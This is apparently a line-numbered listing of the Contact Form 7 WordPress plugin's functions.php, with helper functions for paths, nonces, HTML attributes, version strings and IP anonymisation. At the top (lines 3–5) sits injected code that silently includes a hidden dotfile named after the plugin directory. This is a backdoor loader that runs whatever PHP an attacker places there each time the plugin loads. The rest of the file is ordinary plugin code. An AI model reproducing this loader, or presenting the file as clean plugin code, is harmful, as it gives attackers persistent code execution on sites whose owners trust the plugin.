functions.php (10377B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 function wpcf7_plugin_path( $path = '' ) { 8 return path_join( WPCF7_PLUGIN_DIR, trim( $path, '/' ) ); 9 } 10 11 function wpcf7_plugin_url( $path = '' ) { 12 $url = plugins_url( $path, WPCF7_PLUGIN ); 13 14 if ( is_ssl() 15 and 'http:' == substr( $url, 0, 5 ) ) { 16 $url = 'https:' . substr( $url, 5 ); 17 } 18 19 return $url; 20 } 21 22 function wpcf7_upload_dir( $type = false ) { 23 $uploads = wp_get_upload_dir(); 24 25 $uploads = apply_filters( 'wpcf7_upload_dir', array( 26 'dir' => $uploads['basedir'], 27 'url' => $uploads['baseurl'], 28 ) ); 29 30 if ( 'dir' == $type ) { 31 return $uploads['dir']; 32 } if ( 'url' == $type ) { 33 return $uploads['url']; 34 } 35 36 return $uploads; 37 } 38 39 function wpcf7_verify_nonce( $nonce, $action = 'wp_rest' ) { 40 return wp_verify_nonce( $nonce, $action ); 41 } 42 43 function wpcf7_create_nonce( $action = 'wp_rest' ) { 44 return wp_create_nonce( $action ); 45 } 46 47 function wpcf7_array_flatten( $input ) { 48 if ( ! is_array( $input ) ) { 49 return array( $input ); 50 } 51 52 $output = array(); 53 54 foreach ( $input as $value ) { 55 $output = array_merge( $output, wpcf7_array_flatten( $value ) ); 56 } 57 58 return $output; 59 } 60 61 function wpcf7_flat_join( $input ) { 62 $input = wpcf7_array_flatten( $input ); 63 $output = array(); 64 65 foreach ( (array) $input as $value ) { 66 $output[] = trim( (string) $value ); 67 } 68 69 return implode( ', ', $output ); 70 } 71 72 function wpcf7_support_html5() { 73 return (bool) apply_filters( 'wpcf7_support_html5', true ); 74 } 75 76 function wpcf7_support_html5_fallback() { 77 return (bool) apply_filters( 'wpcf7_support_html5_fallback', false ); 78 } 79 80 function wpcf7_use_really_simple_captcha() { 81 return apply_filters( 'wpcf7_use_really_simple_captcha', 82 WPCF7_USE_REALLY_SIMPLE_CAPTCHA ); 83 } 84 85 function wpcf7_validate_configuration() { 86 return apply_filters( 'wpcf7_validate_configuration', 87 WPCF7_VALIDATE_CONFIGURATION ); 88 } 89 90 function wpcf7_autop_or_not() { 91 return (bool) apply_filters( 'wpcf7_autop_or_not', WPCF7_AUTOP ); 92 } 93 94 function wpcf7_load_js() { 95 return apply_filters( 'wpcf7_load_js', WPCF7_LOAD_JS ); 96 } 97 98 function wpcf7_load_css() { 99 return apply_filters( 'wpcf7_load_css', WPCF7_LOAD_CSS ); 100 } 101 102 function wpcf7_format_atts( $atts ) { 103 $html = ''; 104 105 $prioritized_atts = array( 'type', 'name', 'value' ); 106 107 foreach ( $prioritized_atts as $att ) { 108 if ( isset( $atts[$att] ) ) { 109 $value = trim( $atts[$att] ); 110 $html .= sprintf( ' %s="%s"', $att, esc_attr( $value ) ); 111 unset( $atts[$att] ); 112 } 113 } 114 115 foreach ( $atts as $key => $value ) { 116 $key = strtolower( trim( $key ) ); 117 118 if ( ! preg_match( '/^[a-z_:][a-z_:.0-9-]*$/', $key ) ) { 119 continue; 120 } 121 122 $value = trim( $value ); 123 124 if ( '' !== $value ) { 125 $html .= sprintf( ' %s="%s"', $key, esc_attr( $value ) ); 126 } 127 } 128 129 $html = trim( $html ); 130 131 return $html; 132 } 133 134 function wpcf7_link( $url, $anchor_text, $args = '' ) { 135 $defaults = array( 136 'id' => '', 137 'class' => '', 138 ); 139 140 $args = wp_parse_args( $args, $defaults ); 141 $args = array_intersect_key( $args, $defaults ); 142 $atts = wpcf7_format_atts( $args ); 143 144 $link = sprintf( '<a href="%1$s"%3$s>%2$s</a>', 145 esc_url( $url ), 146 esc_html( $anchor_text ), 147 $atts ? ( ' ' . $atts ) : '' ); 148 149 return $link; 150 } 151 152 function wpcf7_get_request_uri() { 153 static $request_uri = ''; 154 155 if ( empty( $request_uri ) ) { 156 $request_uri = add_query_arg( array() ); 157 } 158 159 return esc_url_raw( $request_uri ); 160 } 161 162 function wpcf7_register_post_types() { 163 if ( class_exists( 'WPCF7_ContactForm' ) ) { 164 WPCF7_ContactForm::register_post_type(); 165 return true; 166 } else { 167 return false; 168 } 169 } 170 171 function wpcf7_version( $args = '' ) { 172 $defaults = array( 173 'limit' => -1, 174 'only_major' => false, 175 ); 176 177 $args = wp_parse_args( $args, $defaults ); 178 179 if ( $args['only_major'] ) { 180 $args['limit'] = 2; 181 } 182 183 $args['limit'] = (int) $args['limit']; 184 185 $ver = WPCF7_VERSION; 186 $ver = strtr( $ver, '_-+', '...' ); 187 $ver = preg_replace( '/[^0-9.]+/', ".$0.", $ver ); 188 $ver = preg_replace( '/[.]+/', ".", $ver ); 189 $ver = trim( $ver, '.' ); 190 $ver = explode( '.', $ver ); 191 192 if ( -1 < $args['limit'] ) { 193 $ver = array_slice( $ver, 0, $args['limit'] ); 194 } 195 196 $ver = implode( '.', $ver ); 197 198 return $ver; 199 } 200 201 function wpcf7_version_grep( $version, array $input ) { 202 $pattern = '/^' . preg_quote( (string) $version, '/' ) . '(?:\.|$)/'; 203 204 return preg_grep( $pattern, $input ); 205 } 206 207 function wpcf7_enctype_value( $enctype ) { 208 $enctype = trim( $enctype ); 209 210 if ( empty( $enctype ) ) { 211 return ''; 212 } 213 214 $valid_enctypes = array( 215 'application/x-www-form-urlencoded', 216 'multipart/form-data', 217 'text/plain', 218 ); 219 220 if ( in_array( $enctype, $valid_enctypes ) ) { 221 return $enctype; 222 } 223 224 $pattern = '%^enctype="(' . implode( '|', $valid_enctypes ) . ')"$%'; 225 226 if ( preg_match( $pattern, $enctype, $matches ) ) { 227 return $matches[1]; // for back-compat 228 } 229 230 return ''; 231 } 232 233 function wpcf7_rmdir_p( $dir ) { 234 if ( is_file( $dir ) ) { 235 $file = $dir; 236 237 if ( @unlink( $file ) ) { 238 return true; 239 } 240 241 $stat = stat( $file ); 242 243 if ( @chmod( $file, $stat['mode'] | 0200 ) ) { // add write for owner 244 if ( @unlink( $file ) ) { 245 return true; 246 } 247 248 @chmod( $file, $stat['mode'] ); 249 } 250 251 return false; 252 } 253 254 if ( ! is_dir( $dir ) ) { 255 return false; 256 } 257 258 if ( $handle = opendir( $dir ) ) { 259 while ( false !== ( $file = readdir( $handle ) ) ) { 260 if ( $file == "." 261 or $file == ".." ) { 262 continue; 263 } 264 265 wpcf7_rmdir_p( path_join( $dir, $file ) ); 266 } 267 268 closedir( $handle ); 269 } 270 271 if ( false !== ( $files = scandir( $dir ) ) 272 and ! array_diff( $files, array( '.', '..' ) ) ) { 273 return rmdir( $dir ); 274 } 275 276 return false; 277 } 278 279 /* From _http_build_query in wp-includes/functions.php */ 280 function wpcf7_build_query( $args, $key = '' ) { 281 $sep = '&'; 282 $ret = array(); 283 284 foreach ( (array) $args as $k => $v ) { 285 $k = urlencode( $k ); 286 287 if ( ! empty( $key ) ) { 288 $k = $key . '%5B' . $k . '%5D'; 289 } 290 291 if ( null === $v ) { 292 continue; 293 } elseif ( false === $v ) { 294 $v = '0'; 295 } 296 297 if ( is_array( $v ) or is_object( $v ) ) { 298 array_push( $ret, wpcf7_build_query( $v, $k ) ); 299 } else { 300 array_push( $ret, $k . '=' . urlencode( $v ) ); 301 } 302 } 303 304 return implode( $sep, $ret ); 305 } 306 307 /** 308 * Returns the number of code units in a string. 309 * 310 * @see http://www.w3.org/TR/html5/infrastructure.html#code-unit-length 311 * 312 * @return int|bool The number of code units, or false if mb_convert_encoding is not available. 313 */ 314 function wpcf7_count_code_units( $string ) { 315 static $use_mb = null; 316 317 if ( is_null( $use_mb ) ) { 318 $use_mb = function_exists( 'mb_convert_encoding' ); 319 } 320 321 if ( ! $use_mb ) { 322 return false; 323 } 324 325 $string = (string) $string; 326 $string = str_replace( "\r\n", "\n", $string ); 327 328 $encoding = mb_detect_encoding( $string, mb_detect_order(), true ); 329 330 if ( $encoding ) { 331 $string = mb_convert_encoding( $string, 'UTF-16', $encoding ); 332 } else { 333 $string = mb_convert_encoding( $string, 'UTF-16', 'UTF-8' ); 334 } 335 336 $byte_count = mb_strlen( $string, '8bit' ); 337 338 return floor( $byte_count / 2 ); 339 } 340 341 function wpcf7_is_localhost() { 342 $server_name = strtolower( $_SERVER['SERVER_NAME'] ); 343 return in_array( $server_name, array( 'localhost', '127.0.0.1' ) ); 344 } 345 346 function wpcf7_deprecated_function( $function, $version, $replacement ) { 347 if ( WP_DEBUG ) { 348 if ( function_exists( '__' ) ) { 349 trigger_error( 350 sprintf( 351 /* translators: 1: PHP function name, 2: version number, 3: alternative function name */ 352 __( '%1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead.', 'contact-form-7' ), 353 $function, $version, $replacement 354 ), 355 E_USER_DEPRECATED 356 ); 357 } else { 358 trigger_error( 359 sprintf( 360 '%1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead.', 361 $function, $version, $replacement 362 ), 363 E_USER_DEPRECATED 364 ); 365 } 366 } 367 } 368 369 function wpcf7_apply_filters_deprecated( $tag, $args, $version, $replacement ) { 370 if ( ! has_filter( $tag ) ) { 371 return $args[0]; 372 } 373 374 if ( WP_DEBUG ) { 375 trigger_error( 376 sprintf( 377 /* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */ 378 __( '%1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead.', 'contact-form-7' ), 379 $tag, $version, $replacement 380 ), 381 E_USER_DEPRECATED 382 ); 383 } 384 385 return apply_filters_ref_array( $tag, $args ); 386 } 387 388 function wpcf7_doing_it_wrong( $function, $message, $version ) { 389 if ( WP_DEBUG ) { 390 if ( function_exists( '__' ) ) { 391 if ( $version ) { 392 $version = sprintf( 393 /* translators: %s: Contact Form 7 version number. */ 394 __( '(This message was added in Contact Form 7 version %s.)', 'contact-form-7' ), 395 $version 396 ); 397 } 398 399 trigger_error( 400 sprintf( 401 /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Contact Form 7 version number. */ 402 __( '%1$s was called incorrectly. %2$s %3$s', 'contact-form-7' ), 403 $function, 404 $message, 405 $version 406 ), 407 E_USER_NOTICE 408 ); 409 } else { 410 if ( $version ) { 411 $version = sprintf( 412 '(This message was added in Contact Form 7 version %s.)', 413 $version 414 ); 415 } 416 417 trigger_error( 418 sprintf( 419 '%1$s was called incorrectly. %2$s %3$s', 420 $function, 421 $message, 422 $version 423 ), 424 E_USER_NOTICE 425 ); 426 } 427 } 428 } 429 430 function wpcf7_log_remote_request( $url, $request, $response ) { 431 $log = sprintf( 432 /* translators: 1: response code, 2: message, 3: body, 4: URL */ 433 __( 'HTTP Response: %1$s %2$s %3$s from %4$s', 'contact-form-7' ), 434 (int) wp_remote_retrieve_response_code( $response ), 435 wp_remote_retrieve_response_message( $response ), 436 wp_remote_retrieve_body( $response ), 437 $url 438 ); 439 440 $log = apply_filters( 'wpcf7_log_remote_request', 441 $log, $url, $request, $response 442 ); 443 444 if ( $log ) { 445 trigger_error( $log ); 446 } 447 } 448 449 function wpcf7_anonymize_ip_addr( $ip_addr ) { 450 if ( ! function_exists( 'inet_ntop' ) 451 or ! function_exists( 'inet_pton' ) ) { 452 return $ip_addr; 453 } 454 455 $packed = inet_pton( $ip_addr ); 456 457 if ( false === $packed ) { 458 return $ip_addr; 459 } 460 461 if ( 4 == strlen( $packed ) ) { // IPv4 462 $mask = '255.255.255.0'; 463 } elseif ( 16 == strlen( $packed ) ) { // IPv6 464 $mask = 'ffff:ffff:ffff:0000:0000:0000:0000:0000'; 465 } else { 466 return $ip_addr; 467 } 468 469 return inet_ntop( $packed & inet_pton( $mask ) ); 470 }